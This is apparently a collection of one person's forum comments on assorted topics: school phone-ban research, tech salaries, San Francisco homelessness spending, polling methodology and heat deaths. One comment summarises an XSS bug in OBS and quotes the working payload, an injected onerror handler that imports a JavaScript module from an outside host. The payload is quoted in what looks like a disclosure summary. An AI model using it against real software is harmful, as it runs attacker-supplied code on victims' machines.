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For a company that truly cares about secure software, that seems like an ideal outcome.

Probably a hack, or at least some spearphishing. You can buy a lot of 0days when your budget is billions.

> Analyses using a more stringent definition of school phone bans (ie, requiring phones to be stored away and not carried on the student’s person) also yielded findings consistent with the main results

If anything, it appears the bans were associated with slightly worse mental health:

> In the full sample, the estimated postpolicy association was 0.65 (95% CI, 0.01-1.30; P = .05) for depressive symptoms, 0.21 (95% CI, −0.08 to 0.50; P = .16) for anxiety, 0.23 (95% CI, −0.12 to 0.59) for hostility, and −0.52 (95% CI, −1.08 to 0.03; P = .06) for mental well-being.

> Although a small number of estimates were suggestive of worse outcomes before multiple testing correction, none remained statistically significant after prespecified correction. Results were similarly null in gender-stratified analyses.

Investments outpace inflation even more than wages (r>g).

Why would it be any more successful than the privately-owned dating apps?

Ah, my numbers were pretax. I agree investing has better tax treatment (close to zero if you "buy, borrow, die"!)

The crypto-theft angle seems more typical of China/NK/Russia to me. (China has some history of hardware supply-chain attacks). But without evidence we're simply speculating.

The article is light on concrete policy suggestions.

One possibility is "adjust the minimum wage for inflation," but they seem to be against this: https://www.google.com/search?client=firefox-b-1-d&q=the+eco...

> 200k is very high L4 at Google, medium L5, not out of the question for L6, and 300k is definitely L6 level

In my experience, those numbers are low for the US. This is about accurate: https://www.levels.fyi/companies/google/salaries/software-en...

Indeed, it seems quite difficult for this methodology to control for "nuclear plants are near other nasty industrial things":

> While a broad set of confounding factors with distant relationship to cancer are included in the model, sources of carcinogenic pollutants are inexplicably missing. NPPs tend to be located in industrialized and densely populated regions to minimize cost of transmission. Other industries, particular chemical and petrochemical plants are well established sources of carcinogens, yet they are not considered as a confounding factor. Occupational hazards are also excluded from the model.

> Over the last several months, we have replicated the results of these papers. The authors supplied us with eight lines of code and answered a couple of questions about the covariates, which did not replicate the results. Most of our replication was done through first principles combined with trial and error. Once we were reasonably close to the results of the first national study on cancer mortality, we took the methodology and applied it to numerous other landmarks.

Any details of the methodology? Is it possible some mistakes were made during this "trial and error"?

edit: Some aggregated data is available from https://pmc.ncbi.nlm.nih.gov/articles/PMC12929679/ , but far from enough to reproduce: https://media.springernature.com/original/springer-static/es...

tldr: XSS on OBS via the message

  !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a

> Let me help you: work on figuring out how to spend the millions of dollars every year Jane Street will pay you to clock in.

Does Jane Street really pay that much? Of course 7 figures is possible, but these median comps seem lower than FAANG (and with much higher workload): https://www.levels.fyi/companies/jane-street/salaries/softwa...

> I want something a little more significant than "we asked around the newsroom, and 35% of fox news reporters approve of the current administration". Cool, thanks, but that's not helpful or even a useful datapoint.

The state of the art (which confirms this ~35% approval number) is far more rigorous than that.

Start with a meta-review of historical accuracy and transparency, eg: https://www.natesilver.net/p/pollster-ratings-silver-bulleti...

Details on methodology and sample size can be Googled, eg: https://poll.qu.edu/methodology/ , https://www.washingtonpost.com/news/the-fix/wp/2015/07/24/ev... , https://www.google.com/search?q=Marquette+University+Law+Sch..., etc.

Sample size is less important than you might think, due to https://en.wikipedia.org/wiki/Binomial_proportion_confidence...

> Why is this one in particular different?

The article answers this: For one, the 'papers' are entirely AI-generated.

Indeed, pg has an essay about it: https://paulgraham.com/selfindulgence.html

As touched on in the article: The data's not IID, and there hasn't been very much "time" to generalize across.

Safely aligning a powerful CEO is difficult.

Yes, the quote was "Ads plus AI is sort of uniquely unsettling to me. I kind of think of ads as a last resort for us for a business model." (Sam Altman, Harvard 2024)

I agree, the conjecture never says anything about a proper map.

No, housing those people is only half the budget, so it's like $25k/person.

It's unlikely there's a trivial arbitrage to eliminate homelessness in a city full of engineers.

Not likely: SF has ~7,973 homeless people now, and current spending provides housing for 14,498 "previously homeless" people: https://media.api.sf.gov/documents/Agenda_Item_9_HSH_Budget_...

Thus, cutting all budget for cash transfers could increase homelessness by 80%! (Are those 14,498 now-homeless people eligible for this year's $100k? They can't be, since you already spent it on the 7,973 currently-homeless people).

Model the situation as "X(t) people become homeless at year t, Y(t) people become housed at time t," and you'll see the most important metric is "how much can we decrease X and increase Y per dollar spent"?

"Number of dollars per current homeless" is not really meaningful at all.

This is a fallacy because it's not the same people homeless each year. There's substantial turnover in the homeless population.

"Replace services with direct transfers" would eliminate homelessness for 1 year. Then new people would become homeless, and you'd have no services, because your budget is already committed to the "year 1 homeless-cohort."

The money spent grows quadratically (not linearly) over time.

Here's what I see on desktop: https://i.imgur.com/vuA2Y3w.png

Is this an artifact of dynamic resizing at small resolutions?

> Rent seeking, *according to the Georgist*

Only Georgists believe that. And it's the rent of the "bare land", not including the housing constructed on it.

Seems the actual article is here? https://www.texasmonthly.com/news-politics/tesla-autopilot-c...

You can compare modeled heat deaths across different countries, Western Europe is still significantly higher. Eg Figure 3C in https://pmc.ncbi.nlm.nih.gov/articles/PMC7618246/

It doesn't affect life expectancy much, because most deaths are among the elderly (70% over 80 IIRC).

This simulation claims otherwise (though I agree it's hard to believe):

> A significant degradation of external thermal comfort can also be seen in the simulations, as heat released by AC systems warms the outside air (see figure 3). The temperature increases due to AC depend on the time of day and on the characteristics of the heat wave, mainly its intensity. On average, the duration spent under high heat stress conditions in the streets is increased by about 20 min per day because of AC.

https://iopscience.iop.org/article/10.1088/1748-9326/ab6a24#...

Yeah, good point.